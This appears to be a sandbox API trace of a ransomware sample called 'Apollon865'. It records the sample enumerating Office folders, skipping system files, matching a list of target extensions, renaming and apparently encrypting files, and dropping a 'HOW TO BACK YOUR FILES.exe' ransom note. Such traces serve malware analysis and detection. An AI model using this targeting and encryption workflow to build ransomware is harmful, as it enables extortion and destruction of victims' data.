	[0076.108] lstrcpyW (in: lpString1=0x2d3e60a, lpString2="PSS10O.CHM" | out: lpString1="PSS10O.CHM") returned="PSS10O.CHM"
	[0076.108] lstrlenW (lpString="PSS10O.CHM") returned 10
	[0076.108] lstrlenW (lpString="Apollon865") returned 10
	[0076.108] lstrlenW (lpString=".dll") returned 4
	[0076.108] lstrcmpiW (lpString1="PSS10O.CHM", lpString2=".dll") returned 1
	[0076.108] lstrlenW (lpString=".lnk") returned 4
	[0076.108] lstrcmpiW (lpString1="PSS10O.CHM", lpString2=".lnk") returned 1
	[0076.108] lstrlenW (lpString=".ini") returned 4
	[0076.108] lstrcmpiW (lpString1="PSS10O.CHM", lpString2=".ini") returned 1
	[0076.108] lstrlenW (lpString=".sys") returned 4
	[0076.108] lstrcmpiW (lpString1="PSS10O.CHM", lpString2=".sys") returned 1
	[0076.108] lstrlenW (lpString="PSS10O.CHM") returned 10
	[0076.108] lstrcpyW (in: lpString1=0x2d3e60a, lpString2="PSS10R.CHM" | out: lpString1="PSS10R.CHM") returned="PSS10R.CHM"
	[0076.108] lstrlenW (lpString="PSS10R.CHM") returned 10
	[0076.108] lstrlenW (lpString="Apollon865") returned 10
	[0076.108] lstrlenW (lpString=".dll") returned 4
	[0076.108] lstrcmpiW (lpString1="PSS10R.CHM", lpString2=".dll") returned 1
	[0076.108] lstrlenW (lpString=".lnk") returned 4
	[0076.108] lstrcmpiW (lpString1="PSS10R.CHM", lpString2=".lnk") returned 1
	[0076.108] lstrlenW (lpString=".ini") returned 4
	[0076.108] lstrcmpiW (lpString1="PSS10R.CHM", lpString2=".ini") returned 1
	[0076.108] lstrlenW (lpString=".sys") returned 4
	[0076.108] lstrcmpiW (lpString1="PSS10R.CHM", lpString2=".sys") returned 1
	[0076.108] lstrlenW (lpString="PSS10R.CHM") returned 10
	[0076.108] lstrcpyW (in: lpString1=0x2d3e60a, lpString2="SETUP.CHM" | out: lpString1="SETUP.CHM") returned="SETUP.CHM"
	[0076.108] lstrlenW (lpString="SETUP.CHM") returned 9
	[0076.108] lstrlenW (lpString="Apollon865") returned 10
	[0076.108] lstrlenW (lpString=".dll") returned 4
	[0076.108] lstrcmpiW (lpString1="SETUP.CHM", lpString2=".dll") returned 1
	[0076.109] lstrlenW (lpString=".lnk") returned 4
	[0076.109] lstrcmpiW (lpString1="SETUP.CHM", lpString2=".lnk") returned 1
	[0076.109] lstrlenW (lpString=".ini") returned 4
	[0076.109] lstrcmpiW (lpString1="SETUP.CHM", lpString2=".ini") returned 1
	[0076.109] lstrlenW (lpString=".sys") returned 4
	[0076.109] lstrcmpiW (lpString1="SETUP.CHM", lpString2=".sys") returned 1
	[0076.109] lstrlenW (lpString="SETUP.CHM") returned 9
	[0076.109] lstrcpyW (in: lpString1=0x2d3e60a, lpString2="SETUP.XML" | out: lpString1="SETUP.XML") returned="SETUP.XML"
	[0076.109] lstrlenW (lpString="SETUP.XML") returned 9
	[0076.109] lstrlenW (lpString="Apollon865") returned 10
	[0076.109] lstrlenW (lpString=".dll") returned 4
	[0076.109] lstrcmpiW (lpString1="SETUP.XML", lpString2=".dll") returned 1
	[0076.109] lstrlenW (lpString=".lnk") returned 4
	[0076.109] lstrcmpiW (lpString1="SETUP.XML", lpString2=".lnk") returned 1
	[0076.109] lstrlenW (lpString=".ini") returned 4
	[0076.109] lstrcmpiW (lpString1="SETUP.XML", lpString2=".ini") returned 1
	[0076.109] lstrlenW (lpString=".sys") returned 4
	[0076.109] lstrcmpiW (lpString1="SETUP.XML", lpString2=".sys") returned 1
	[0076.109] lstrlenW (lpString="SETUP.XML") returned 9
	[0076.109] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML.Apollon865") returned 113
	[0076.109] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml.apollon865"), dwFlags=0x1) returned 1
	[0076.110] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0076.110] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=9352) returned 1
	[0076.110] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3490020
	[0076.110] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa88
	[0076.110] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf700
	[0076.111] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf788) returned 1
	[0076.111] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0076.111] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0076.111] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2790, lpName=0x0) returned 0x118
	[0076.113] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2790) returned 0x100000
	[0076.114] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf788) returned 1
	[0076.115] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0076.115] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0076.115] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0076.115] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0076.115] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0076.115] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0076.115] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0076.115] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0076.115] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0076.115] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0076.115] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0076.115] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0076.115] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0076.115] CloseHandle (hObject=0x118) returned 1
	[0076.115] CloseHandle (hObject=0x15c) returned 1
	[0076.115] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa88 | out: hHeap=0x580000) returned 1
	[0076.115] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf700 | out: hHeap=0x580000) returned 1
	[0076.115] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3490020 | out: hHeap=0x580000) returned 1
	[0076.116] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8728670, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf2b422b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2488, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0
	[0076.116] FindClose (in: hFindFile=0x5ca390 | out: hFindFile=0x5ca390) returned 1
	[0076.116] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7af0
	[0076.116] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us"
	[0076.116] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5aa7c8 | out: hHeap=0x580000) returned 1
	[0076.116] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ae8 | out: hHeap=0x580000) returned 1
	[0076.116] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us") returned 94
	[0076.116] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us"
	[0076.116] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0076.116] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0076.125] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0076.125] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x112a3b30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x4571c890, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x4571c890, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0076.125] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0076.126] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0076.126] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0076.126] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x112a3b30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x4571c890, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x4571c890, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0076.126] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0076.126] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0076.126] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0076.126] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0076.126] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4571c890, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x4571c890, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0076.126] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0076.126] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6e345a0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf6e345a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x4cf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="InfoPathMUI.XML", cAlternateFileName="INFOPA~1.XML")) returned 1
	[0076.126] lstrcmpiW (lpString1="InfoPathMUI.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0076.126] lstrcmpiW (lpString1="InfoPathMUI.XML", lpString2="Apollon865.txt.exe") returned 1
	[0076.126] lstrcmpiW (lpString1="InfoPathMUI.XML", lpString2=".") returned 1
	[0076.126] lstrcmpiW (lpString1="InfoPathMUI.XML", lpString2="..") returned 1
	[0076.126] lstrcmpiW (lpString1="InfoPathMUI.XML", lpString2="windows") returned -1
	[0076.126] lstrcmpiW (lpString1="InfoPathMUI.XML", lpString2="bootmgr") returned 1
	[0076.126] lstrcmpiW (lpString1="InfoPathMUI.XML", lpString2="temp") returned -1
	[0076.126] lstrcmpiW (lpString1="InfoPathMUI.XML", lpString2="pagefile.sys") returned -1
	[0076.126] lstrcmpiW (lpString1="InfoPathMUI.XML", lpString2="boot") returned 1
	[0076.126] lstrcmpiW (lpString1="InfoPathMUI.XML", lpString2="ids.txt") returned 1
	[0076.126] lstrcmpiW (lpString1="InfoPathMUI.XML", lpString2="ntuser.dat") returned -1
	[0076.126] lstrcmpiW (lpString1="InfoPathMUI.XML", lpString2="perflogs") returned -1
	[0076.126] lstrcmpiW (lpString1="InfoPathMUI.XML", lpString2="MSBuild") returned -1
	[0076.126] lstrlenW (lpString="InfoPathMUI.XML") returned 15
	[0076.126] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\*") returned 96
	[0076.126] lstrcpyW (in: lpString1=0x2d3e60e, lpString2="InfoPathMUI.XML" | out: lpString1="InfoPathMUI.XML") returned="InfoPathMUI.XML"
	[0076.126] lstrlenW (lpString="InfoPathMUI.XML") returned 15
	[0076.126] lstrlenW (lpString="Apollon865") returned 10
	[0076.126] lstrcmpiW (lpString1="athMUI.XML", lpString2="Apollon865") returned 1
	[0076.126] lstrlenW (lpString=".dll") returned 4
	[0076.126] lstrcmpiW (lpString1="InfoPathMUI.XML", lpString2=".dll") returned 1
	[0076.126] lstrlenW (lpString=".lnk") returned 4
	[0076.126] lstrcmpiW (lpString1="InfoPathMUI.XML", lpString2=".lnk") returned 1
	[0076.126] lstrlenW (lpString=".ini") returned 4
	[0076.126] lstrcmpiW (lpString1="InfoPathMUI.XML", lpString2=".ini") returned 1
	[0076.127] lstrlenW (lpString=".sys") returned 4
	[0076.127] lstrcmpiW (lpString1="InfoPathMUI.XML", lpString2=".sys") returned 1
	[0076.127] lstrlenW (lpString="InfoPathMUI.XML") returned 15
	[0076.127] lstrlenW (lpString="bak") returned 3
	[0076.127] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1
	[0076.127] lstrlenW (lpString="ba_") returned 3
	[0076.127] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1
	[0076.127] lstrlenW (lpString="dbb") returned 3
	[0076.127] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1
	[0076.127] lstrlenW (lpString="vmdk") returned 4
	[0076.127] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1
	[0076.127] lstrlenW (lpString="rar") returned 3
	[0076.127] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1
	[0076.127] lstrlenW (lpString="zip") returned 3
	[0076.127] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1
	[0076.127] lstrlenW (lpString="tgz") returned 3
	[0076.127] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1
	[0076.127] lstrlenW (lpString="vbox") returned 4
	[0076.127] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1
	[0076.127] lstrlenW (lpString="vdi") returned 3
	[0076.127] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1
	[0076.127] lstrlenW (lpString="vhd") returned 3
	[0076.127] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1
	[0076.127] lstrlenW (lpString="vhdx") returned 4
	[0076.127] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1
	[0076.127] lstrlenW (lpString="avhd") returned 4
	[0076.127] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1
	[0076.127] lstrlenW (lpString="db") returned 2
	[0076.127] lstrcmpiW (lpString1="ML", lpString2="db") returned 1
	[0076.127] lstrlenW (lpString="db2") returned 3
	[0076.127] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1
	[0076.127] lstrlenW (lpString="db3") returned 3
	[0076.127] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1
	[0076.127] lstrlenW (lpString="dbf") returned 3
	[0076.127] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1
	[0076.127] lstrlenW (lpString="mdf") returned 3
	[0076.127] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1
	[0076.127] lstrlenW (lpString="mdb") returned 3
	[0076.127] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1
	[0076.128] lstrlenW (lpString="sql") returned 3
	[0076.128] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1
	[0076.128] lstrlenW (lpString="sqlite") returned 6
	[0076.128] lstrcmpiW (lpString1="UI.XML", lpString2="sqlite") returned 1
	[0076.128] lstrlenW (lpString="sqlite3") returned 7
	[0076.128] lstrcmpiW (lpString1="MUI.XML", lpString2="sqlite3") returned -1
	[0076.128] lstrlenW (lpString="sqlitedb") returned 8
	[0076.128] lstrcmpiW (lpString1="hMUI.XML", lpString2="sqlitedb") returned -1
	[0076.128] lstrlenW (lpString="xml") returned 3
	[0076.128] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0
	[0076.128] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML.Apollon865") returned 121
	[0076.128] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml.apollon865"), dwFlags=0x1) returned 1
	[0076.176] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xc0
	[0076.176] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=1231) returned 1
	[0076.176] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3490020
	[0076.176] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa88
	[0076.176] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf700
	[0076.176] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf788) returned 1
	[0076.177] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0076.177] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0076.177] CreateFileMappingW (hFile=0xc0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7d0, lpName=0x0) returned 0x118
	[0076.179] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7d0) returned 0x100000
	[0076.179] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf788) returned 1
	[0076.180] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0076.180] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0076.180] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0076.180] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0076.180] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0076.180] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0076.180] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0076.180] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0076.180] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0076.180] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0076.181] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0076.181] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0076.181] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0076.181] CloseHandle (hObject=0x118) returned 1
	[0076.181] CloseHandle (hObject=0xc0) returned 1
	[0076.181] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa88 | out: hHeap=0x580000) returned 1
	[0076.181] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf700 | out: hHeap=0x580000) returned 1
	[0076.181] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3490020 | out: hHeap=0x580000) returned 1
	[0076.181] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x73c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1
	[0076.181] lstrcmpiW (lpString1="SETUP.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0076.181] lstrcmpiW (lpString1="SETUP.XML", lpString2="Apollon865.txt.exe") returned 1
	[0076.181] lstrcmpiW (lpString1="SETUP.XML", lpString2=".") returned 1
	[0076.181] lstrcmpiW (lpString1="SETUP.XML", lpString2="..") returned 1
	[0076.181] lstrcmpiW (lpString1="SETUP.XML", lpString2="windows") returned -1
	[0076.181] lstrcmpiW (lpString1="SETUP.XML", lpString2="bootmgr") returned 1
	[0076.181] lstrcmpiW (lpString1="SETUP.XML", lpString2="temp") returned -1
	[0076.181] lstrcmpiW (lpString1="SETUP.XML", lpString2="pagefile.sys") returned 1
	[0076.181] lstrcmpiW (lpString1="SETUP.XML", lpString2="boot") returned 1
	[0076.181] lstrcmpiW (lpString1="SETUP.XML", lpString2="ids.txt") returned 1
	[0076.181] lstrcmpiW (lpString1="SETUP.XML", lpString2="ntuser.dat") returned 1
	[0076.181] lstrcmpiW (lpString1="SETUP.XML", lpString2="perflogs") returned 1
	[0076.181] lstrcmpiW (lpString1="SETUP.XML", lpString2="MSBuild") returned 1
	[0076.181] lstrlenW (lpString="SETUP.XML") returned 9
	[0076.182] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110
	[0076.182] lstrcpyW (in: lpString1=0x2d3e60e, lpString2="SETUP.XML" | out: lpString1="SETUP.XML") returned="SETUP.XML"
	[0076.182] lstrlenW (lpString="SETUP.XML") returned 9
	[0076.182] lstrlenW (lpString="Apollon865") returned 10
	[0076.182] lstrlenW (lpString=".dll") returned 4
	[0076.182] lstrcmpiW (lpString1="SETUP.XML", lpString2=".dll") returned 1
	[0076.182] lstrlenW (lpString=".lnk") returned 4
	[0076.182] lstrcmpiW (lpString1="SETUP.XML", lpString2=".lnk") returned 1
	[0076.182] lstrlenW (lpString=".ini") returned 4
	[0076.182] lstrcmpiW (lpString1="SETUP.XML", lpString2=".ini") returned 1
	[0076.182] lstrlenW (lpString=".sys") returned 4
	[0076.182] lstrcmpiW (lpString1="SETUP.XML", lpString2=".sys") returned 1
	[0076.182] lstrlenW (lpString="SETUP.XML") returned 9
	[0076.182] lstrlenW (lpString="bak") returned 3
	[0076.182] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1
	[0076.182] lstrlenW (lpString="ba_") returned 3
	[0076.182] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1
	[0076.182] lstrlenW (lpString="dbb") returned 3
	[0076.182] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1
	[0076.182] lstrlenW (lpString="vmdk") returned 4
	[0076.182] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1
	[0076.182] lstrlenW (lpString="rar") returned 3
	[0076.182] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1
	[0076.182] lstrlenW (lpString="zip") returned 3
	[0076.182] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1
	[0076.182] lstrlenW (lpString="tgz") returned 3
	[0076.182] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1
	[0076.182] lstrlenW (lpString="vbox") returned 4
	[0076.182] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1
	[0076.182] lstrlenW (lpString="vdi") returned 3
	[0076.182] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1
	[0076.182] lstrlenW (lpString="vhd") returned 3
	[0076.182] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1
	[0076.182] lstrlenW (lpString="vhdx") returned 4
	[0076.182] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1
	[0076.182] lstrlenW (lpString="avhd") returned 4
	[0076.182] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1
	[0076.182] lstrlenW (lpString="db") returned 2
	[0076.182] lstrcmpiW (lpString1="ML", lpString2="db") returned 1
